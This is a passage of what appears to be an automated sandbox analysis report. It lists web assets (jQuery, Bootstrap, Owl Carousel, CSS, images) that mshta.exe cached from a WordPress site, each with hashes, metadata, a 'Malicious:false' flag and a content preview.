                                                              Preview:a.gflag {font-size:24px;padding:1px 0;background-repeat:no-repeat;background-image:url(24.png);}.a.gflag img {border:0;height:24px;display:inline;}.a.gflag:hover {background-image:url(24a.png);}.img.gstats {display:none;}.a.alt_flag {background-image:url(alt_flags.png);}.a.alt_flag:hover {background-image:url(alt_flagsa.png);}.a.us_flag {background-position:-0px -100px;}.a.br_flag {background-position:-100px -100px;}.a.mx_flag {background-position:-200px -100px;}..a.glink {text-decoration:none;}.a.glink span {margin-right:5px;font-size:15px;vertical-align:middle;}.a.glink img {vertical-align:middle;display:inline;border:0;padding:0;margin:0;opacity:0.8;}.a.glink:hover img {opacity:1;}

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\jquery-migrate-1.2.1.min[1].js

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text, with very long lines
                                                              Category:downloaded
                                                              Size (bytes):7199
                                                              Entropy (8bit):5.223786028238701
                                                              Encrypted:false
                                                              SSDEEP:96:tBySz91Gwyk35YrfBewIt9jKLKDs2SFNK7wIDBRANyCfVJ45NI:zySzvGw/35YbMx9jKLKD3UIDBR8VVUq
                                                              MD5:EB05D8D73B5B13D8D84308A4751ECE96
                                                              SHA1:743052320809514FB788FE1D3DF37FC87CE90452
                                                              SHA-256:1E67D8DBCCA1F6FD94E077C85C2FB40FA1C2756C99238DAA8DA882144260A68D
                                                              SHA-512:7B68A43A22A41404A2FF58E0DA6A237492CAD0FC3E56D216980802B4D5FB483895262A7E049340D6670002BDF899BA88C319239E60D0AAE1AC31D98556B0AD6E
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1
                                                              Preview:/*! jQuery Migrate v1.2.1 | (c) 2005, 2013 jQuery Foundation, Inc. and other contributors | jquery.org/license */.jQuery.migrateMute===void 0&&(jQuery.migrateMute=!0),function(e,t,n){function r(n){var r=t.console;i[n]||(i[n]=!0,e.migrateWarnings.push(n),r&&r.warn&&!e.migrateMute&&(r.warn("JQMIGRATE: "+n),e.migrateTrace&&r.trace&&r.trace()))}function a(t,a,i,o){if(Object.defineProperty)try{return Object.defineProperty(t,a,{configurable:!0,enumerable:!0,get:function(){return r(o),i},set:function(e){r(o),i=e}}),n}catch(s){}e._definePropertyBroken=!0,t[a]=i}var i={};e.migrateWarnings=[],!e.migrateMute&&t.console&&t.console.log&&t.console.log("JQMIGRATE: Logging is active"),e.migrateTrace===n&&(e.migrateTrace=!0),e.migrateReset=function(){i={},e.migrateWarnings.length=0},"BackCompat"===document.compatMode&&r("jQuery is not compatible with Quirks Mode");var o=e("<input/>",{size:1}).attr("size")&&e.attrFn,s=e.attr,u=e.attrHooks.value&&e.attrHooks.value.get||function(){return null},c=e.attrHoo

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\owl.carousel.min[1].css

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text, with very long lines
                                                              Category:downloaded
                                                              Size (bytes):3351
                                                              Entropy (8bit):4.914211238199009
                                                              Encrypted:false
                                                              SSDEEP:48:uZo8LL+IJWmQq+v+dDKopvu+ztL+F/+wI+weAzT+RV+VAPsAvqeghOHHy3VzoRvO:JgA6eA2+AbdEK7pcXVxZaIJICNMM
                                                              MD5:B2752A850D44F50036628EEAEF3BFCFA
                                                              SHA1:FBA46353CF90450EF3D362A123F1E7AF3E8C561E
                                                              SHA-256:521410E1FC44780061E09ADC980275FB5EA277FD5D9E538454214EC4379FF4BC
                                                              SHA-512:B52DD2E6A1B40658674113B2257BCD8DE10CE14A4C5C7AD07D31A66D0D602A67A50B195210151AC614418FF1054F3A5B3F84554ABA448A46E6749A1B0AF844DE
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/owl/assets/owl.carousel.min.css?ver=1.0.0
                                                              Preview:/**. * Owl Carousel v2.3.4. * Copyright 2013-2018 David Deutsch. * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE. */..owl-carousel,.owl-carousel .owl-item{-webkit-tap-highlight-color:transparent;position:relative}.owl-carousel{display:none;width:100%;z-index:1}.owl-carousel .owl-stage{position:relative;-ms-touch-action:pan-Y;touch-action:manipulation;-moz-backface-visibility:hidden}.owl-carousel .owl-stage:after{content:".";display:block;clear:both;visibility:hidden;line-height:0;height:0}.owl-carousel .owl-stage-outer{position:relative;overflow:hidden;-webkit-transform:translate3d(0,0,0)}.owl-carousel .owl-item,.owl-carousel .owl-wrapper{-webkit-backface-visibility:hidden;-moz-backface-visibility:hidden;-ms-backface-visibility:hidden;-webkit-transform:translate3d(0,0,0);-moz-transform:translate3d(0,0,0);-ms-transform:translate3d(0,0,0)}.owl-carousel .owl-item{min-height:1px;float:left;-webkit-backface-visibility:hidden;-webkit-touch-ca

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\owl.carousel[1].js

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:UTF-8 Unicode text, with very long lines
                                                              Category:downloaded
                                                              Size (bytes):89992
                                                              Entropy (8bit):5.084392122174397
                                                              Encrypted:false
                                                              SSDEEP:1536:owLoreUC7AuLMjvNlP8GNMBJ6IcIhKJQIOybQOoiYM9OJ0QQKOv:oUMNlPBqJTuOGQOotEhKOv
                                                              MD5:CCDF893E7D8B26933AF0C336BCC3943E
                                                              SHA1:AC575BA3377F95EF22BAD865EC35B0B3DCB0DFE0
                                                              SHA-256:DB9D6CF3C1C4B047C62F646E7D9991C06A212931C362BF53F9A2406B30F09466
                                                              SHA-512:818DB99C2EB775D1342DC2CF871509185C5AD86A08C80E452F29B8509A870C43078E9F11113E999FF487A35B25B6DDD6B95B6A7F2C4408FDFCFDD69473F59510
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/owl/owl.carousel.js?ver=1.0.0
                                                              Preview:/**. * Owl Carousel v2.3.4. * Copyright 2013-2018 David Deutsch. * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE. */./**. * Owl carousel. * @version 2.3.4. * @author Bartosz Wojciechowski. * @author David Deutsch. * @license The MIT License (MIT). * @todo Lazy Load Icon. * @todo prevent animationend bubling. * @todo itemsScaleUp. * @todo Test Zepto. * @todo stagePadding calculate wrong active classes. */.;(function($, window, document, undefined) {.../**.. * Creates a carousel... * @class The Owl Carousel... * @public.. * @param {HTMLElement|jQuery} element - The element to create the carousel for... * @param {Object} [options] - The options.. */..function Owl(element, options) {..../**... * Current settings for the carousel.... * @public... */...this.settings = null;..../**... * Current options set by the caller including defaults.... * @public... */...this.options = $.extend({}, Owl.Defaults, options);..../**... * Plugin element.... *

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\owl.theme.default.min[1].css

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text, with very long lines
                                                              Category:downloaded
                                                              Size (bytes):1013
                                                              Entropy (8bit):5.21364895278629
                                                              Encrypted:false
                                                              SSDEEP:24:0/emCtetORzuZiqMdhuzTqgfkPH2nouoKLn7tk8:uZo8WSZiqMAqgfW8L9d
                                                              MD5:594B81805A98B267E47C70A8FAD30D9F
                                                              SHA1:684D84EC40B305CA14EFC88C91F12972CB6342B4
                                                              SHA-256:924B0DC630D1C5DFF9FA31AEAD9509775B1D476BFE0A5AC2977B2F11205A26AC
                                                              SHA-512:B0C5ED30D2F5CD1CE894760A12E8CCD80A822D447D1760B8FF4E5C75BC638CB491BCC40872210F090668FBE9E4EE0A3706D4AE2BD91F6BFB3E6B87F88B9A4B93
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets//lib/owl/assets/owl.theme.default.min.css?ver=1.0.0
                                                              Preview:/**. * Owl Carousel v2.3.4. * Copyright 2013-2018 David Deutsch. * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE. */..owl-theme .owl-dots,.owl-theme .owl-nav{text-align:center;-webkit-tap-highlight-color:transparent}.owl-theme .owl-nav{margin-top:10px}.owl-theme .owl-nav [class*=owl-]{color:#FFF;font-size:14px;margin:5px;padding:4px 7px;background:#D6D6D6;display:inline-block;cursor:pointer;border-radius:3px}.owl-theme .owl-nav [class*=owl-]:hover{background:#869791;color:#FFF;text-decoration:none}.owl-theme .owl-nav .disabled{opacity:.5;cursor:default}.owl-theme .owl-nav.disabled+.owl-dots{margin-top:10px}.owl-theme .owl-dots .owl-dot{display:inline-block;zoom:1}.owl-theme .owl-dots .owl-dot span{width:10px;height:10px;margin:5px 7px;background:#D6D6D6;display:block;-webkit-backface-visibility:visible;transition:opacity .2s ease;border-radius:30px}.owl-theme .owl-dots .owl-dot.active span,.owl-theme .owl-dots .owl-dot:hover span{backgr

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\responsive[1].css

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text
                                                              Category:downloaded
                                                              Size (bytes):21945
                                                              Entropy (8bit):4.998283618348646
                                                              Encrypted:false
                                                              SSDEEP:384:vDi+XnHtUrZKt+uSmu+c30r8SGCxGfGYb/0EUN0QT0z8lFLiFHM:LiOnHtUrZKtqOI0ISGCxGfGYb/0Ery0C
                                                              MD5:56879E9EF909D5CF8DEF84297B5AC6B4
                                                              SHA1:097D5726A7053C1E9E20FCFE6FFA771F2D6DE573
                                                              SHA-256:8A1D0F12B448B5065CBE1E76F5D2DF0364E9E9A2CAE98E9419215CAD62FB1892
                                                              SHA-512:E7ACA508BE1EB31411887C3DD64ABBC47AB39C3C217E924D89245A084404AF350C2B6693721BD06CF9CCF8DE263189BC2C80FD1C1E86A8D10147FBC27FF7770B
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/responsive.css
                                                              Preview:/*!. * Bootstrap Responsive v2.3.0. *. * Copyright 2012 Twitter, Inc. * Licensed under the Apache License v2.0. * http://www.apache.org/licenses/LICENSE-2.0. *. * Designed and built with all the love in the world @twitter by @mdo and @fat.. */..clearfix {. *zoom: 1;.}..clearfix:before,..clearfix:after {. display: table;. content: "";. line-height: 0;.}..clearfix:after {. clear: both;.}..hide-text {. font: 0/0 a;. color: transparent;. text-shadow: none;. background-color: transparent;. border: 0;.}..input-block-level {. display: block;. width: 100%;. min-height: 30px;. -webkit-box-sizing: border-box;. -moz-box-sizing: border-box;. box-sizing: border-box;.}.@-ms-viewport {. width: device-width;.}..hidden {. display: none;. visibility: hidden;.}..visible-phone {. display: none !important;.}..visible-tablet {. display: none !important;.}..hidden-desktop {. display: none !important;.}..visible-desktop {. display: inherit !important;.}.@media (min-width: 768px) and (ma

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\scrollShowTime[1].js

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:UTF-8 Unicode (with BOM) text
                                                              Category:downloaded
                                                              Size (bytes):1506
                                                              Entropy (8bit):3.8120848042014237
                                                              Encrypted:false
                                                              SSDEEP:24:qzzEbPmDAFSbEigNMtDsmkKnxN8kKOx0STxHxKfZlJhYCpI0:+EKxJrk5kfdcfHkCB
                                                              MD5:6B49B3E0D4EBC1DC791F05F077A218C4
                                                              SHA1:710F5BA21E2E6BFAC71559BA8B3AB5AF5685A856
                                                              SHA-256:A3A8314DF976D890F6389F1F9AA6B955A5069FBBF8EC6B546E6EDAF298B2DD93
                                                              SHA-512:1A96C3D8D6514F95480C971A172A86046A2D534253EF0800A75D8F8834208F9954B9D0FAA344C9AA5CB2B796F520A5FD25FBDA9BA3F070AC5458E58681C38873
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0
                                                              Preview:.(function($){. $.fn.scrollShowTime=function(o){. var getOption = {. correctionY: 100. , onShow: function(){}. }. $.extend(getOption, o);. . return this.each(function(){. var _this = $(this). ,topOffset. ,windowHeight. ,_visible=false. ,_win=$(window). ,_doc=$(document). ;. init();. function init(){. setTopOffset();. _this.addClass('hide_state');. addEventHandler();. }//end init. function setTopOffset(){. topOffset = _this.offset().top;. }. function addEventHandler(){. $(window).on('scroll',function(){. setTopOffset();. positionListener();. }).trigger('scroll');. . $(window).on('resize', function(){. setTopOffse

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\style[1].css

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text, with very long lines
                                                              Category:downloaded
                                                              Size (bytes):66002
                                                              Entropy (8bit):5.19992445499213
                                                              Encrypted:false
                                                              SSDEEP:768:RnQmALZc3HQApqPQ5j2m7Y414TtS6c9eu4SqSIGyU8O/sXi:+mN3kQ5noSWqyU8O/sXi
                                                              MD5:47F3B539EC47105303FE88C5B4DB8BB8
                                                              SHA1:7452E7208C3718CF250E126015876A0D09576818
                                                              SHA-256:B6DF3EA0DB277CDC16BD73D0D3FC2422976E289F3C6E181E5EDF46AADA3B21C1
                                                              SHA-512:70311C6FA62A73C78FAF2974E39B39C35C7413BE826A050D22E06E8C1FB695672063EE84D883F8D737F8578DC86CE2B64BD01B2E97D45DA84AA9A233ECCF3EA2
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/themes/CherryFramework/css/style.css
                                                              Preview:body { position:relative; }..ie8 body { min-width:980px; }.@media (max-width: 767px) {..body.cherry-fixed-layout {...padding-left:0 !important;...padding-right:0 !important;..}.}.@media (max-width: 767px) {..body.cherry-fixed-layout .header, body.cherry-fixed-layout .content-holder, body.cherry-fixed-layout .footer {...padding-left:20px;...padding-right:20px;..}.}.body[class*="span"] {..position:static;..float:none;..min-height:inherit;..margin-left:inherit;.}.a { outline:none; }.a:focus { outline:none; }..main-holder {..position:relative;..z-index:1;.}..cherry-fixed-layout .main-holder {..margin:0 auto;..max-width:980px;..width:auto;..background:#fafafa;.}.@media (min-width: 1200px) {...cherry-fixed-layout .main-holder { max-width:1210px; }.}.@media (min-width: 768px) and (max-width: 979px) {...cherry-fixed-layout .main-holder { max-width:764px; }.}..header {..position:relative;..z-index:99;..padding:30px 0;..border-bottom:1px solid #DDD;..background-color:#eee;.}..logo {..position:re

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\swfobject[1].js

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text, with very long lines
                                                              Category:downloaded
                                                              Size (bytes):10231
                                                              Entropy (8bit):5.498827185914172
                                                              Encrypted:false
                                                              SSDEEP:192:dEBsWGAZvwGxP1hNWwI9V0YOOsFbkRHeZtyIVyX8c727LMoOyXoy7NgvZ4xsnyQ/:dAsWGAZvwGxP1hNWwI9V0YO1NkRHezyV
                                                              MD5:9FFDBA2CFF497D701684657E329871F5
                                                              SHA1:693465E9D9376FD4D2FCD45FFC24F735E1159312
                                                              SHA-256:5FC71212D5F80194F946CC9239D030AAE8B51879EC22BD6F9A793C49E543D1C0
                                                              SHA-512:5DA070D4040661BD167EF22C6F81C7DC6A9ED79F9CC6C662750B9EB3B1F2048E8D782536996EA7C54E961CD514313314EBFA724409CD2F0440D884288C9ECFFA
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417
                                                              Preview:/*.SWFObject v2.2 <http://code.google.com/p/swfobject/> ..is released under the MIT License <http://www.opensource.org/licenses/mit-license.php> .*/.var swfobject=function(){var D="undefined",r="object",S="Shockwave Flash",W="ShockwaveFlash.ShockwaveFlash",q="application/x-shockwave-flash",R="SWFObjectExprInst",x="onreadystatechange",O=window,j=document,t=navigator,T=false,U=[h],o=[],N=[],I=[],l,Q,E,B,J=false,a=false,n,G,m=true,M=function(){var aa=typeof j.getElementById!=D&&typeof j.getElementsByTagName!=D&&typeof j.createElement!=D,ah=t.userAgent.toLowerCase(),Y=t.platform.toLowerCase(),ae=Y?/win/.test(Y):/win/.test(ah),ac=Y?/mac/.test(Y):/mac/.test(ah),af=/webkit/.test(ah)?parseFloat(ah.replace(/^.*webkit\/(\d+(\.\d+)?).*$/,"$1")):false,X=!+"\v1",ag=[0,0,0],ab=null;if(typeof t.plugins!=D&&typeof t.plugins[S]==r){ab=t.plugins[S].description;if(ab&&!(typeof t.mimeTypes!=D&&t.mimeTypes[q]&&!t.mimeTypes[q].enabledPlugin)){T=true;X=false;ab=ab.replace(/^.*\s+(\S+\s+\S+$)/,"$1");ag[0]=par

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\up-arrow[1].png

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:PNG image data, 31 x 19, 8-bit/color RGBA, non-interlaced
                                                              Category:downloaded
                                                              Size (bytes):1370
                                                              Entropy (8bit):6.548363017537382
                                                              Encrypted:false
                                                              SSDEEP:24:ka1he91WwylZ82lYSqMHiwe76ceVc7cxT3ouyJ3V8BGy0QcJLJgSApYg1:zqQinNuiF61q7uIJ30D07JVgtpYi
                                                              MD5:DF0D428C42D964F07B5C2875B85AB1EC
                                                              SHA1:42ACD8E7E0919A99D42F09A62CD0B5FC0CE59B43
                                                              SHA-256:E50B8D2007404AA7FC5484E29160C652C61433EC2732C37B9FEAF0ECC60E45A0
                                                              SHA-512:A973C4169AD4C9C74F392821E64C5FFB17A7A44FE0517B836409CB8C79EB9D296F6E9B6C420C66227D6E11C7211E327D370A4E9447E47D448B4947551AB6610B
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.png
                                                              Preview:.PNG........IHDR.............hl.B....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpRights:Marked="False" xmpMM:OriginalDocumentID="xmp.did:02801174072068118DBBF50001D62B81" xmpMM:DocumentID="xmp.did:647017FE37C611E2B91CD562C5788E4E" xmpMM:InstanceID="xmp.iid:647017FD37C611E2B91CD562C5788E4E" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4265089B3F2FE211AC7CD87861E56C7E" stRef:documentID="xmp.did:02801174072068118DBBF50001D62B81"/> </rdf:Description> </rdf:RDF> </x:x

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\warning[1]

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:GIF image data, version 89a, 36 x 38
                                                              Category:dropped
                                                              Size (bytes):1062
                                                              Entropy (8bit):4.517838839626174
                                                              Encrypted:false
                                                              SSDEEP:12:z4ENetWsdvCMtkEFk+t2cd3ikIbOViGZVsMLfE4DMWUcC/GFvyVEZd6vcmadxVtS:nA/ag/QSi6/LKZzqKVQgJOexQkYfG6E
                                                              MD5:124A9E7B6976F7570134B7034EE28D2B
                                                              SHA1:E889BFC2A2E57491016B05DB966FC6297A174F55
                                                              SHA-256:5F95EFF2BCAAEA82D0AE34A007DE3595C0D830AC4810EA4854E6526E261108E9
                                                              SHA-512:EA1B3CC56BD41FC534AAC00F186180345CB2C06705B57C88C8A6953E6CE8B9A2E3809DDB01DAAC66FA9C424D517D2D14FA45FBEF9D74FEF8A809B71550C7C145
                                                              Malicious:false
                                                              Preview:GIF89a$.&.......h...............h.hh..h..h..h..h....h................h.................h.................h................hh.h..h..h..h..h.hhhhh.hh.hh.hh.hh..hh.h..h..h.h..h..hh.h..h..h..h..h..hh.h..h..h..h..h..hh.h..h..h..h..h...h...............h.hh..h..h..h..h....h...............h................h...........h.................h...............h.hh..h..h..h..h....h................h.................h.................h.................h..............h.hh.h..h..h..h....h..............h................h................h................h...............h.hh..h..h..h..h....h................h.................h.................h......................................................................................................................................!.......,....$.&.@......H.......<0.....VXQH..C..1>.(..@..C.t.q"B..S.\.r.D...Z.. .M.41.".......<.r.;.r4..P..]....+.T-...N...x....1.:..TdD...^.j..W.r...y....V...Lx0..):8p q.4.;...f`.r-K...(..P....t.].~..l..

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\warning[2]

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:GIF image data, version 89a, 36 x 38
                                                              Category:downloaded
                                                              Size (bytes):1062
                                                              Entropy (8bit):4.517838839626174
                                                              Encrypted:false
                                                              SSDEEP:12:z4ENetWsdvCMtkEFk+t2cd3ikIbOViGZVsMLfE4DMWUcC/GFvyVEZd6vcmadxVtS:nA/ag/QSi6/LKZzqKVQgJOexQkYfG6E
                                                              MD5:124A9E7B6976F7570134B7034EE28D2B
                                                              SHA1:E889BFC2A2E57491016B05DB966FC6297A174F55
                                                              SHA-256:5F95EFF2BCAAEA82D0AE34A007DE3595C0D830AC4810EA4854E6526E261108E9
                                                              SHA-512:EA1B3CC56BD41FC534AAC00F186180345CB2C06705B57C88C8A6953E6CE8B9A2E3809DDB01DAAC66FA9C424D517D2D14FA45FBEF9D74FEF8A809B71550C7C145
                                                              Malicious:false
                                                              IE Cache URL:res://ieframe.dll/warning.gif
                                                              Preview:GIF89a$.&.......h...............h.hh..h..h..h..h....h................h.................h.................h................hh.h..h..h..h..h.hhhhh.hh.hh.hh.hh..hh.h..h..h.h..h..hh.h..h..h..h..h..hh.h..h..h..h..h..hh.h..h..h..h..h...h...............h.hh..h..h..h..h....h...............h................h...........h.................h...............h.hh..h..h..h..h....h................h.................h.................h.................h..............h.hh.h..h..h..h....h..............h................h................h................h...............h.hh..h..h..h..h....h................h.................h.................h......................................................................................................................................!.......,....$.&.@......H.......<0.....VXQH..C..1>.(..@..C.t.q"B..S.\.r.D...Z.. .M.41.".......<.r.;.r4..P..]....+.T-...N...x....1.:..TdD...^.j..W.r...y....V...Lx0..):8p q.4.;...f`.r-K...(..P....t.].~..l..

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\animate-logo[1].css

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text, with CRLF line terminators
                                                              Category:downloaded
                                                              Size (bytes):81132
                                                              Entropy (8bit):4.724082147516296
                                                              Encrypted:false
                                                              SSDEEP:384:Cy1U1YB94h43181f4E4v2e2oPNPs0v424zVoVI4m48:71U1Q4h43181f4E4m0v424zVoVI4m48
                                                              MD5:B7A9605E1633ACF8180CD3F6C604876D
                                                              SHA1:3FF2D5FE95BD41130BFFDE2211B3CCD43716038A
                                                              SHA-256:1CE4F92F822BDFBCCEAA71C2FCFE760F5228E445DE0C20AEABBB3D93DDDA2644
                                                              SHA-512:66E085703BA9E14C49185FE35329469DE6BF3E4F6A2D3A3BFCDB52E79FAEC9E32657EF073A1F888AFB1A9309C38DC1F9B09F8FE95CF12A34C88782D683CDD52A
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20
                                                              Preview:@charset "UTF-8";..../*!..Animate.css - http://daneden.me/animate..Version - 3.4.0..Licensed under the MIT license - http://opensource.org/licenses/MIT....Copyright (c) 2015 Daniel Eden..*/.....animated {.. -webkit-animation-duration: 1s;.. animation-duration: 1s;.. -webkit-animation-fill-mode: both;.. animation-fill-mode: both;..}.....animated.infinite {.. -webkit-animation-iteration-count: infinite;.. animation-iteration-count: infinite;..}.....animated.hinge {.. -webkit-animation-duration: 2s;.. animation-duration: 2s;..}.....animated.bounceIn,...animated.bounceOut {.. -webkit-animation-duration: .75s;.. animation-duration: .75s;..}.....animated.flipOutX,...animated.flipOutY {.. -webkit-animation-duration: .75s;.. animation-duration: .75s;..}....@-webkit-keyframes bounce {.. from, 20%, 53%, 80%, to {.. -webkit-animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000);.. animation-timing-function: cubic-bezier(0.215, 0.61

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\bootstrap.min[1].js

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text, with very long lines
                                                              Category:downloaded
                                                              Size (bytes):28756
                                                              Entropy (8bit):5.071148466705677
                                                              Encrypted:false
                                                              SSDEEP:768:EAkESlcDWdfi5SSjb60vPxMhdo2YSHZ/ZQesapu7odL:Y8ZMSmZ7z
                                                              MD5:BE1C5898C4332C8E7F9906011E005BB0
                                                              SHA1:9567F7B3FD78160203C5795D397128390381D8A3
                                                              SHA-256:7C1D540B7034E4790ECE82622854C1FBF34F0D4297F3167D914FB09DDAE6CB4C
                                                              SHA-512:0799162F87D2A6AC7932CECBE041FB3284EE64663C17BBADFE439E750E768D4EF4AA9A73BCC1353512AE0ADA813698DD8DD8372A753946F318BB265CAB2C2DAA
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0
                                                              Preview:/**.* Bootstrap.js by @fat & @mdo.* plugins: bootstrap-transition.js, bootstrap-modal.js, bootstrap-dropdown.js, bootstrap-scrollspy.js, bootstrap-tab.js, bootstrap-tooltip.js, bootstrap-popover.js, bootstrap-affix.js, bootstrap-alert.js, bootstrap-button.js, bootstrap-collapse.js, bootstrap-carousel.js, bootstrap-typeahead.js.* Copyright 2012 Twitter, Inc..* http://www.apache.org/licenses/LICENSE-2.0.txt.*/.!function(a){a(function(){a.support.transition=function(){var a=function(){var a=document.createElement("bootstrap"),b={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd otransitionend",transition:"transitionend"},c;for(c in b)if(a.style[c]!==undefined)return b[c]}();return a&&{end:a}}()})}(window.jQuery),!function(a){var b=function(b,c){this.options=c,this.$element=a(b).delegate('[data-dismiss="modal"]',"click.dismiss.modal",a.proxy(this.hide,this)),this.options.remote&&this.$element.find(".modal-body").load(this.options.remote)};b.pr

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\camera.min[1].js

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text, with very long lines
                                                              Category:downloaded
                                                              Size (bytes):39402
                                                              Entropy (8bit):5.336241934125691
                                                              Encrypted:false
                                                              SSDEEP:768:HUp+FrGU1OYvR7qO218kwiA2gRDLMjmQyrshT7Db3E8J1KTuDvniryxn7OqOPOtb:6fU1Ox62LvniFFl3D+
                                                              MD5:4338F6FCF6F5F1332747A94E09A65DF4
                                                              SHA1:099715E7293A8B570C46779C7A28B6832E34B72A
                                                              SHA-256:CAD3B6107C8A8F38229ADD27D02A2150E204BA78ACC54144E132A20BA40FC3FE
                                                              SHA-512:1120EC4FB4B981CDDF49F4B9933660F74A8B4B03746B5B329925E32FE5ABD13A675ACBBC8A53A2E2AB4F5C575256D0577B282236A60EEBA977232122577D3DB5
                                                              Malicious:false
                                                              IE Cache URL:http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4
                                                              Preview:// Camera slideshow v1.3.4 - a jQuery slideshow with many effects, transitions, easy to customize, using canvas and mobile ready, based on jQuery 1.4+.// Copyright (c) 2012 by Manuel Masia - www.pixedelic.com.// Licensed under the MIT license: http://www.opensource.org/licenses/mit-license.php.;(function(a){a.fn.camera=function(b,c){function e(){if(navigator.userAgent.match(/Android/i)||navigator.userAgent.match(/webOS/i)||navigator.userAgent.match(/iPad/i)||navigator.userAgent.match(/iPhone/i)||navigator.userAgent.match(/iPod/i)){return true}}function H(){var b=a(s).width();a("li",s).removeClass("camera_visThumb");a("li",s).each(function(){var c=a(this).position(),d=a("ul",s).outerWidth(),e=a("ul",s).offset().left,f=a("> div",s).offset().left,g=f-e;if(g>0){a(".camera_prevThumbs",V).removeClass("hideNav")}else{a(".camera_prevThumbs",V).addClass("hideNav")}if(d-g>b){a(".camera_nextThumbs",V).removeClass("hideNav")}else{a(".camera_nextThumbs",V).addClass("hideNav")}var h=c.left,i=c.left+

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\cherry-plugin[1].js

                                                              Download File
                                                              Process:C:\Windows\System32\mshta.exe
                                                              File Type:ASCII text
                                                              Category:downloaded
                                                              Size (bytes):1789
                                                              Entropy (8bit):5.215043597951395
                                                              Encrypted:false
                                                              SSDEEP:48:kMcpLsRsdpOIi0hwrtpsDrzdVv6I8ixCYk4f440T8BuP9n:e/+0AOrzdVvQqXwNp9n
                                                              MD5:E7694C9876A74D8AF4840B08D8CC4364
